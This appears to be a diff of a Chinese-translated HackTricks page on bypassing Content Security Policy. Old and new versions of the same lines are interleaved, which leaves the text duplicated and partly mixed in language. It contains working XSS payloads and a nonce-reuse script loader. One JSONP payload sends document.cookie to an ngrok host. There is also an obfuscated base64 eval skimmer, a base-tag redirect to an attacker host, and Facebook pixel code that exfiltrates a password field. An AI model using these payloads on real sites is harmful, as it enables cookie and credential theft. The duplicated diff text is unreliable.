- **media-src**: 定义加载媒体对象的允许来源。
 | 
			
		||||
- **object-src**: 定义 `<object>`、`<embed>` 和 `<applet>` 元素的允许来源。
 | 
			
		||||
- **base-uri**: 指定使用 `<base>` 元素加载时允许的 URL。
 | 
			
		||||
- **object-src**: 定义 <object>、<embed> 和 <applet> 元素的允许来源。
 | 
			
		||||
- **base-uri**: 指定使用 <base> 元素加载时允许的 URL。
 | 
			
		||||
- **form-action**: 列出表单提交的有效端点。
 | 
			
		||||
- **plugin-types**: 限制页面可调用的 MIME 类型。
 | 
			
		||||
- **plugin-types**: 限制页面可调用的 mime 类型。
 | 
			
		||||
- **upgrade-insecure-requests**: 指示浏览器将 HTTP URL 重写为 HTTPS。
 | 
			
		||||
- **sandbox**: 应用类似于 `<iframe>` 的 sandbox 属性的限制。
 | 
			
		||||
- **report-to**: 指定在策略被违反时,报告将发送到的组。
 | 
			
		||||
- **sandbox**: 应用类似于 <iframe> 的 sandbox 属性的限制。
 | 
			
		||||
- **report-to**: 指定在策略被违反时报告将发送到的组。
 | 
			
		||||
- **worker-src**: 指定 Worker、SharedWorker 或 ServiceWorker 脚本的有效来源。
 | 
			
		||||
- **prefetch-src**: 指定将要被抓取或预抓取的资源的有效来源。
 | 
			
		||||
- **navigate-to**: 限制文档可通过任何方式导航到的 URL(如 a、form、window.location、window.open 等)。
 | 
			
		||||
- **prefetch-src**: 指定将被获取或预获取的资源的有效来源。
 | 
			
		||||
- **navigate-to**: 限制文档可以通过任何方式导航到的 URL(a、form、window.location、window.open 等)。
 | 
			
		||||
 | 
			
		||||
### Sources
 | 
			
		||||
 | 
			
		||||
- `*`: 允许所有 URL,除了使用 `data:`, `blob:`, `filesystem:` 方案的。
 | 
			
		||||
- `'self'`: 允许从同一域加载。
 | 
			
		||||
- `'data'`: 允许通过 data 方案加载资源(例如 Base64 编码的图片)。
 | 
			
		||||
- `*`: 允许所有 URL,除了使用 `data:`、`blob:`、`filesystem:` 方案的。
 | 
			
		||||
- `'self'`: 允许从相同域加载。
 | 
			
		||||
- `'data'`: 允许通过 data 方案加载资源(例如 Base64 编码的图像)。
 | 
			
		||||
- `'none'`: 阻止从任何来源加载。
 | 
			
		||||
- `'unsafe-eval'`: 允许使用 `eval()` 和类似方法,出于安全原因不建议使用。
 | 
			
		||||
- `'unsafe-hashes'`: 启用特定的内联事件处理程序。
 | 
			
		||||
- `'unsafe-inline'`: 允许使用内联资源,如内联 `<script>` 或 `<style>`,出于安全原因不建议使用。
 | 
			
		||||
- `'nonce'`: 使用加密 nonce(一次性数字)对白名单中特定内联脚本进行许可。
 | 
			
		||||
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
 | 
			
		||||
- `'unsafe-eval'`: 允许使用 `eval()` 和类似方法,出于安全原因不推荐使用。
 | 
			
		||||
- `'unsafe-hashes'`: 启用特定的内联事件处理器。
 | 
			
		||||
- `'unsafe-inline'`: 允许使用内联资源,如内联 `<script>` 或 `<style>`,出于安全原因不推荐使用。
 | 
			
		||||
- `'nonce'`: 使用加密 nonce(一次性数字)对白名单内的特定内联脚本进行允许。
 | 
			
		||||
- 如果你的 JS 执行受限,可以在页面内通过 `doc.defaultView.top.document.querySelector("[nonce]")` 获取已使用的 nonce,然后重用它来加载恶意脚本(如果使用了 strict-dynamic,任何被允许的来源都可以加载新的来源,因此此方法不必要),例如:
 | 
			
		||||
 | 
			
		||||
<details>
 | 
			
		||||
 | 
			
		||||
<summary>重用 nonce 来加载脚本</summary>
 | 
			
		||||
<summary>重用 nonce 加载脚本</summary>
 | 
			
		||||
```html
 | 
			
		||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 | 
			
		||||
<img
 | 
			
		||||
@ -89,15 +89,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 | 
			
		||||
</details>
 | 
			
		||||
 | 
			
		||||
- `'sha256-<hash>'`: 将具有特定 sha256 哈希的脚本列入白名单。
 | 
			
		||||
- `'strict-dynamic'`: 如果脚本已被 nonce 或 hash 列入白名单,则允许从任意来源加载脚本。
 | 
			
		||||
- `'host'`: 指定一个特定主机,例如 `example.com`。
 | 
			
		||||
- `https:`: 将 URL 限制为使用 HTTPS 的地址。
 | 
			
		||||
- `blob:`: 允许从 Blob URL 加载资源(例如通过 JavaScript 创建的 Blob URL)。
 | 
			
		||||
- `'strict-dynamic'`: 允许从任何源加载脚本,只要它已被 nonce 或 hash 列入白名单。
 | 
			
		||||
- `'host'`: 指定特定主机,例如 `example.com`。
 | 
			
		||||
- `https:`: 限制为使用 HTTPS 的 URL。
 | 
			
		||||
- `blob:`: 允许从 Blob URL 加载资源(例如,通过 JavaScript 创建的 Blob URL)。
 | 
			
		||||
- `filesystem:`: 允许从文件系统加载资源。
 | 
			
		||||
- `'report-sample'`: 在违规报告中包含违规代码的样本(有助于调试)。
 | 
			
		||||
- `'strict-origin'`: 类似于 'self',但确保资源来源的协议安全级别与文档匹配(仅安全来源可以从安全来源加载资源)。
 | 
			
		||||
- `'strict-origin-when-cross-origin'`: 在进行同源请求时发送完整 URL,但在跨源请求时只发送 origin。
 | 
			
		||||
- `'unsafe-allow-redirects'`: 允许加载会立即重定向到其他资源的资源。不推荐,因为它会削弱安全性。
 | 
			
		||||
- `'report-sample'`: 在违规报告中包含违规代码的示例(对调试有用)。
 | 
			
		||||
- `'strict-origin'`: 类似于 'self',但确保来源的协议安全级别与文档匹配(只有安全来源可以从安全来源加载资源)。
 | 
			
		||||
- `'strict-origin-when-cross-origin'`: 在进行同源请求时发送完整 URL,但在跨域请求时仅发送 origin。
 | 
			
		||||
- `'unsafe-allow-redirects'`: 允许加载会立即重定向到另一个资源的资源。不建议使用,因为它削弱了安全性。
 | 
			
		||||
 | 
			
		||||
## 不安全的 CSP 规则
 | 
			
		||||
 | 
			
		||||
@ -105,9 +105,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 | 
			
		||||
```
 | 
			
		||||
可用的 payload:`"/><script>alert(1);</script>`
 | 
			
		||||
可用的 payload: `"/><script>alert(1);</script>`
 | 
			
		||||
 | 
			
		||||
#### self + 'unsafe-inline' 通过 Iframes
 | 
			
		||||
#### self + 'unsafe-inline' via Iframes
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -117,17 +117,17 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 | 
			
		||||
### 'unsafe-eval'
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> 这不可行,更多信息请 [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 | 
			
		||||
> 这不起作用,更多信息请 [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 | 
			
		||||
```
 | 
			
		||||
可用的 payload:
 | 
			
		||||
有效的 payload:
 | 
			
		||||
```html
 | 
			
		||||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
 | 
			
		||||
```
 | 
			
		||||
### strict-dynamic
 | 
			
		||||
 | 
			
		||||
如果你能以某种方式让 **被允许的 JS 代码在 DOM 中创建了一个新的 script tag**,并且该 tag 包含你的 JS 代码(因为是一个被允许的脚本在创建它),那么 **新的 script tag 将被允许执行**。
 | 
			
		||||
如果你能以某种方式让一个**被允许的 JS 代码在 DOM 中创建一个新的 script 标签**(包含你的 JS 代码,因为是被允许的脚本创建的),那么**新的 script 标签将被允许执行**。
 | 
			
		||||
 | 
			
		||||
### 通配符 (\*)
 | 
			
		||||
```yaml
 | 
			
		||||
@ -140,7 +140,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
 | 
			
		||||
```
 | 
			
		||||
### 缺少 object-src 和 default-src
 | 
			
		||||
 | 
			
		||||
> [!CAUTION] > **看起来这不再起作用了**
 | 
			
		||||
> [!CAUTION] > **看起来这已不再有效**
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src 'self' ;
 | 
			
		||||
```
 | 
			
		||||
@ -154,30 +154,30 @@ Content-Security-Policy: script-src 'self' ;
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src 'self';  object-src 'none' ;
 | 
			
		||||
```
 | 
			
		||||
如果你能上传 JS 文件,你可以 bypass 这个 CSP:
 | 
			
		||||
如果你可以上传一个 JS 文件,你就可以绕过这个 CSP:
 | 
			
		||||
 | 
			
		||||
有效的 payload:
 | 
			
		||||
可用 payload:
 | 
			
		||||
```html
 | 
			
		||||
"/>'><script src="/uploads/picture.png.js"></script>
 | 
			
		||||
```
 | 
			
		||||
然而,很有可能服务器正在**验证上传的文件**,并且只允许你**上传特定类型的文件**。
 | 
			
		||||
However, it's highly probable that the server is **验证上传的文件** and will only allow you to **上传特定类型的文件**。
 | 
			
		||||
 | 
			
		||||
此外,即便你可以使用服务器接受的扩展名在文件中上传 **JS code inside**(例如:_script.png_),这仍然不够,因为有些服务器(如 apache server)会**根据扩展名选择文件的 MIME type**,而像 Chrome 这样的浏览器会**拒绝在本应为图片的文件中执行 Javascript** 代码。“幸运的是”,有时会有失误。例如,在一次 CTF 中我了解到 **Apache doesn't know** _**.wave**_ 扩展,因此它不会以 **MIME type like audio/*** 的方式来提供该文件。
 | 
			
		||||
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **根据扩展名选择文件的 MIME type** and browsers like Chrome will **拒绝在应该是图片的文件中执行 Javascript** 代码。 "Hopefully", 有时候会出错。比如,在一次 CTF 中我发现 **Apache 不认识** _**.wave**_ 扩展,因此它不会以 **MIME type like audio/*** 来服务该文件。
 | 
			
		||||
 | 
			
		||||
因此,如果你发现一个 XSS 和一个文件上传,并且设法找到一个**被误判的扩展名**,你可以尝试上传一个带有该扩展名且包含脚本内容的文件。或者,如果服务器在检查上传文件的正确格式,可以创建一个 polyglot([some polyglot examples here](https://github.com/Polydet/polyglot-database))。
 | 
			
		||||
From here, if you find a XSS and a file upload, and you manage to find a **被误判的扩展名**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
 | 
			
		||||
 | 
			
		||||
### Form-action
 | 
			
		||||
 | 
			
		||||
如果无法注入 JS,你仍然可以尝试通过例如注入表单 action 来外泄凭证(并可能寄希望于密码管理器自动填充)。你可以在这份[**报告示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)中找到一个例子。此外,注意 `default-src` 并不覆盖 form actions。
 | 
			
		||||
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
 | 
			
		||||
 | 
			
		||||
### Third Party Endpoints + ('unsafe-eval')
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 对于下面的一些 payload,**`unsafe-eval` 甚至不是必需的**。
 | 
			
		||||
> 对于下面的一些 payload,**`unsafe-eval` 甚至都不需要**。
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 | 
			
		||||
```
 | 
			
		||||
加载一个存在漏洞的 angular 版本并执行任意 JS:
 | 
			
		||||
加载易受攻击的 angular 版本并执行任意 JS:
 | 
			
		||||
```xml
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
 | 
			
		||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
 | 
			
		||||
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 | 
			
		||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 | 
			
		||||
>
 | 
			
		||||
```
 | 
			
		||||
#### Payloads — 使用 Angular 加上一个其 functions 会返回 `window` 对象的 library([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 | 
			
		||||
#### Payloads 使用 Angular + 一个包含返回 `window` 对象 的 库 ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 该文章显示你可以 **load** 所有 **libraries** 自 `cdn.cloudflare.com`(或其他任何被允许的 JS libraries repo),对每个 library 执行所有添加的 functions,并检查 **哪些 functions 来自哪些 libraries 会返回 `window` 对象**。
 | 
			
		||||
> 该文章展示你可以从 `cdn.cloudflare.com`(或任何其他允许的 JS libraries repo)**加载**所有**库**,执行每个库中添加的所有函数,并检查 **哪些库的哪些函数返回 `window` 对象**。
 | 
			
		||||
```html
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 | 
			
		||||
@ -225,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 | 
			
		||||
{{[].erase.call().alert('xss')}}
 | 
			
		||||
</div>
 | 
			
		||||
```
 | 
			
		||||
来自类名的 Angular XSS:
 | 
			
		||||
Angular XSS 来源于类名:
 | 
			
		||||
```html
 | 
			
		||||
<div ng-app>
 | 
			
		||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 | 
			
		||||
@ -233,7 +233,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 | 
			
		||||
```
 | 
			
		||||
#### Abusing google recaptcha JS code
 | 
			
		||||
 | 
			
		||||
根据 [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves),你可以在 CSP 内滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP:
 | 
			
		||||
根据 [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) 你可以在 CSP 内滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP:
 | 
			
		||||
```html
 | 
			
		||||
<div
 | 
			
		||||
ng-controller="CarouselController as c"
 | 
			
		||||
@ -261,21 +261,21 @@ b=doc.createElement("script");
 | 
			
		||||
b.src="//example.com/evil.js";
 | 
			
		||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
 | 
			
		||||
```
 | 
			
		||||
#### 滥用 www.google.com 进行 open redirect
 | 
			
		||||
#### 滥用 www.google.com 实现 open redirect
 | 
			
		||||
 | 
			
		||||
下面的 URL 会重定向到 example.com(来自 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 | 
			
		||||
下列 URL 会重定向到 example.com(来源于 [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 | 
			
		||||
```
 | 
			
		||||
https://www.google.com/amp/s/example.com/
 | 
			
		||||
```
 | 
			
		||||
滥用 \*.google.com/script.google.com
 | 
			
		||||
 | 
			
		||||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在这篇[报告](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)中所做的那样。
 | 
			
		||||
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。正如[这篇报告](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)中所示。
 | 
			
		||||
 | 
			
		||||
### 第三方端点 + JSONP
 | 
			
		||||
```http
 | 
			
		||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 | 
			
		||||
```
 | 
			
		||||
像这种场景,当 `script-src` 被设置为 `self` 且某个特定域被列入白名单时,可以通过 JSONP 绕过。JSONP endpoints 允许不安全的 callback 方法,从而使攻击者执行 XSS。可用的 payload:
 | 
			
		||||
像这种情况下,`script-src` 被设置为 `self`,并且某个被列入白名单的特定域名存在,可以使用 JSONP 绕过。JSONP 端点允许不安全的回调方法,使攻击者能够执行 XSS。可用的 payload:
 | 
			
		||||
```html
 | 
			
		||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 | 
			
		||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
 | 
			
		||||
@ -289,15 +289,16 @@ https://www.youtube.com/oembed?callback=alert;
 | 
			
		||||
```html
 | 
			
		||||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
 | 
			
		||||
```
 | 
			
		||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **包含可直接使用的 JSONP endpoints,用于对不同网站进行 CSP bypass。**
 | 
			
		||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **包含可用于不同网站 CSP bypass 的现成 JSONP endpoints。**
 | 
			
		||||
 | 
			
		||||
如果 **受信任的 endpoint 包含 Open Redirect**,也会出现相同的漏洞,因为如果初始端点被信任,重定向也会被信任。
 | 
			
		||||
If the initial endpoint is trusted, redirects are trusted.  
 | 
			
		||||
如果 **trusted endpoint 包含 Open Redirect**,同样的漏洞也会发生,因为一旦初始 endpoint 被信任,redirects 也会被信任。
 | 
			
		||||
 | 
			
		||||
### 第三方滥用
 | 
			
		||||
 | 
			
		||||
如在 [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) 中所述,存在许多第三方域名可能在 CSP 的某处被允许,可能被滥用来 exfiltrate 数据或执行 JavaScript 代码。以下是其中一些第三方:
 | 
			
		||||
如 [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) 所述,存在许多第三方域名可能在某处被包含在 CSP 中,可以被滥用来 exfiltrate 数据或执行 JavaScript 代码。以下是其中一些第三方:
 | 
			
		||||
 | 
			
		||||
| 实体               | 被允许的域名                                 | 能力         |
 | 
			
		||||
| 实体              | 允许的域名                                   | 能力         |
 | 
			
		||||
| ----------------- | -------------------------------------------- | ------------ |
 | 
			
		||||
| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
 | 
			
		||||
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
 | 
			
		||||
@ -308,9 +309,9 @@ https://www.youtube.com/oembed?callback=alert;
 | 
			
		||||
| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | 
			
		||||
| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 | 
			
		||||
 | 
			
		||||
如果你在目标的 CSP 中发现这些被允许的域名之一,很可能可以通过在该第三方服务注册来 bypass CSP,进而将数据 exfiltrate 到该服务或执行代码。
 | 
			
		||||
如果您在目标的 CSP 中发现了任何上述允许域名,很可能可以通过在该第三方服务上注册来 bypass CSP,并将数据 exfiltrate 到该服务,或执行代码。
 | 
			
		||||
 | 
			
		||||
例如,如果你发现以下 CSP:
 | 
			
		||||
例如,如果您发现以下 CSP:
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
 | 
			
		||||
```
 | 
			
		||||
@ -318,27 +319,27 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: connect-src www.facebook.com;
 | 
			
		||||
```
 | 
			
		||||
你应该能够 exfiltrate data,类似于一直以来通过 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 所采用的方法。在本例中,遵循以下通用步骤:
 | 
			
		||||
你应该能够 exfiltrate data,类似于以前使用 [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) 所做的。在本例中,按照以下一般步骤:
 | 
			
		||||
 | 
			
		||||
1. 在此创建一个 Facebook Developer 帐户。
 | 
			
		||||
2. 创建一个新的 "Facebook Login" 应用并选择 "Website"。
 | 
			
		||||
3. 转到 "Settings -> Basic" 并获取你的 "App ID"。
 | 
			
		||||
4. 在你想从中 exfiltrate data 的目标站点上,你可以直接使用 Facebook SDK 的工具 "fbq" 通过一个 "customEvent" 和数据负载来 exfiltrate 数据。
 | 
			
		||||
5. 进入你的应用的 "Event Manager" 并选择你创建的应用(注意 event manager 的 URL 可能类似于:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
 | 
			
		||||
6. 选择标签 "Test Events" 以查看由“你”的 web site 发送的事件。
 | 
			
		||||
4. 在你想要从中 exfiltrate data 的目标站点上,可以直接使用 Facebook SDK 小工具 "fbq",通过触发一个 "customEvent" 并携带数据负载来 exfiltrate data。
 | 
			
		||||
5. 进入你的 App 的 "Event Manager" 并选择你创建的应用(注意 event manager 可能位于类似于此 URL: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
 | 
			
		||||
6. 选择 "Test Events" 选项卡以查看由 "your" web site 发送的事件。
 | 
			
		||||
 | 
			
		||||
然后,在受害者端,你执行以下代码以初始化 Facebook tracking pixel,使其指向攻击者的 Facebook developer 帐户 app-id 并发出如下的 custom event:
 | 
			
		||||
然后,在受害者端,你执行以下代码来初始化 Facebook tracking pixel,使其指向攻击者的 Facebook developer account app-id 并发出如下 custom event:
 | 
			
		||||
```JavaScript
 | 
			
		||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
 | 
			
		||||
fbq('trackCustom', 'My-Custom-Event',{
 | 
			
		||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
对于前表中列出的其余七个第三方域名,还有许多其他可滥用的方法。有关其他第三方滥用的更多说明,请参考之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
 | 
			
		||||
至于前面表中列出的另外七个第三方域名,你还可以用许多其他方式滥用它们。有关其他第三方滥用的更多说明,请参考之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
 | 
			
		||||
 | 
			
		||||
### 通过 RPO (Relative Path Overwrite) 绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 | 
			
		||||
### 通过 RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 | 
			
		||||
 | 
			
		||||
除了上述用于绕过路径限制的重定向之外,还有一种可在某些服务器上使用的技术,称为 Relative Path Overwrite (RPO)。
 | 
			
		||||
除了前面提到的通过重定向绕过路径限制的方法之外,还有另一种在某些服务器上可用的技术,称为 Relative Path Overwrite (RPO)。
 | 
			
		||||
 | 
			
		||||
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以按如下方式绕过:
 | 
			
		||||
```html
 | 
			
		||||
@ -346,13 +347,13 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
 | 
			
		||||
```
 | 
			
		||||
浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
 | 
			
		||||
 | 
			
		||||
之所以可行,是因为对于浏览器来说,你正在从 `https://example.com/scripts/react/` 下加载名为 `..%2fangular%2fangular.js` 的文件,而这符合 CSP。
 | 
			
		||||
之所以会这样,是因为对于浏览器来说,你正在从 `https://example.com/scripts/react/` 下加载名为 `..%2fangular%2fangular.js` 的文件,这符合 CSP。
 | 
			
		||||
 | 
			
		||||
随后,它会对其解码,实际请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
 | 
			
		||||
因此,浏览器会对其进行解码,实际请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
 | 
			
		||||
 | 
			
		||||
通过**利用浏览器与服务器在 URL 解释上的不一致,可以绕过路径规则**。
 | 
			
		||||
 | 
			
		||||
解决办法是在服务器端不要将 `%2f` 作为 `/` 处理,确保浏览器和服务器之间的解释一致以避免此问题。
 | 
			
		||||
解决方法是在服务器端不要将 `%2f` 当作 `/` 来处理,确保浏览器与服务器之间的解释一致以避免该问题。
 | 
			
		||||
 | 
			
		||||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 | 
			
		||||
 | 
			
		||||
@ -363,35 +364,35 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
 | 
			
		||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 缺失 **base-uri**
 | 
			
		||||
### 缺少 **base-uri**
 | 
			
		||||
 | 
			
		||||
如果缺失 **base-uri** 指令,你可以滥用它来执行 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)。
 | 
			
		||||
如果缺少 **base-uri** 指令,你可以滥用它来执行 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)。
 | 
			
		||||
 | 
			
		||||
此外,如果**页面正在使用相对路径加载脚本**(像 `<script src="/js/app.js">`)并使用 **Nonce**,你可以滥用 **base** **tag** 使其 **加载** 该脚本从 **你自己的服务器,从而实现 XSS.**\
 | 
			
		||||
此外,如果**页面正在使用相对路径加载脚本**(例如 `<script src="/js/app.js">`)并使用 **Nonce**,你可以滥用 **base** **tag** 使其**从你的服务器加载该脚本,从而实现 XSS。**\
 | 
			
		||||
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用一个 httpS url。
 | 
			
		||||
```html
 | 
			
		||||
<base href="https://www.attacker.com/" />
 | 
			
		||||
```
 | 
			
		||||
### AngularJS 事件
 | 
			
		||||
 | 
			
		||||
一个称为 Content Security Policy (CSP) 的特定策略可能会限制 JavaScript 事件。不过,AngularJS 提供了自定义事件作为替代。在事件中,AngularJS 暴露了一个特殊对象 `$event`,它引用了原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,该数组涉及事件的执行链,且 `window` 对象总是位于数组末端。这个结构对 sandbox escape 策略至关重要。
 | 
			
		||||
一种称为 Content Security Policy (CSP) 的策略可能会限制 JavaScript 事件。然而,AngularJS 提供了自定义事件作为替代。在事件中,AngularJS 提供了一个特殊对象 `$event`,它引用了原生浏览器的事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,该属性包含一个对象数组,表示事件的执行链,而 `window` 对象总是位于数组的末端。这个结构对于 sandbox escape 策略至关重要。
 | 
			
		||||
 | 
			
		||||
通过将该数组传入 `orderBy` filter,可以对其进行迭代,利用最后的元素(即 `window` 对象)来触发全局函数,例如 `alert()`。下面的示例代码说明了这一过程:
 | 
			
		||||
通过将该数组传递给 `orderBy` 过滤器,可以迭代它,并利用最后的元素(即 `window` 对象)触发全局函数,比如 `alert()`。下面的代码片段演示了这个过程:
 | 
			
		||||
```xml
 | 
			
		||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 | 
			
		||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 | 
			
		||||
```
 | 
			
		||||
该片段强调使用 `ng-focus` 指令来触发事件,使用 `$event.path|orderBy` 来操纵 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而暴露 `document.cookie`。
 | 
			
		||||
该片段展示了如何使用 `ng-focus` 指令来触发事件,使用 `$event.path|orderBy` 操作 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而暴露 `document.cookie`。
 | 
			
		||||
 | 
			
		||||
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **中查找其他 Angular 绕过**
 | 
			
		||||
